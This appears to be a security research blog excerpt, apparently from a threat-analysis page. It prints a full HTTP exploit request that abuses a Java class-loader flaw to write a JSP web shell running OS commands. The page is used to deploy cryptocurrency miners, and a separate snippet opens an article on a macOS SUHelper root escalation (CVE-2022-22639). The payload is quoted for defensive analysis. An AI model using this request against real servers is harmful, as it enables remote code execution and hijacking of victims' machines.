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Among the exploitation attempts were ones aimed at deploying cryptocurrency miners. In this section, we look at how the malicious actors behind these exploitation attempts create a web shell to deploy their cryptocurrency miners. The following code is used to create the web shell: GET /?class.module.classLoader.resources.context.parent.pipeline.first.prefix=zbc0fb&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bx%7Di+try+%7BRuntime.getRuntime%28%29.exec%28System.getProperty%28%22os.name%22%29.contains%28%22ndo%22%29+%3F+new+String%5B%5D%7B%22cmd.exe%22%2C+%22%2Fc%22%2C+request.getParameter%28%22w%22%29%7D+%3A+new+String%5B%5D%7B%22%2Fbin%2Fsh%22%2C+%22-c%22%2C+request.getParameter%28%22l%22%29%7D%29%3B%7D+catch+%28Exception+e%29+%7B%7D%3Bout.print%28%22%40pong%22%29%3B+%25%7Bz%7Di HTTP/1.1 Host: <redacted>:<redacted> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: */* Accept-Language: en-US,en;q=0.5 X: <% Y: Runtime Z: %>// Accept-Encoding: gzip   The web shell’s…

MacOS SUHelper Root Privilege Escalation Vulnerability A Deep Dive Into CVE-2022-22639 We discovered a now-patched vulnerability in macOS SUHelper, designated as CVE-2022-22639. If exploited, the vulnerability could allow malicious actors to gain root privilege escalation. By: Mickey Jin April 04, 2022 Read time:  ( words) We discovered a vulnerability in suhelperd, a helper daemon process for Software Update in macOS. A class inside suhelperd, SUHelper, provides an essential system service through the inter-process communication (IPC)…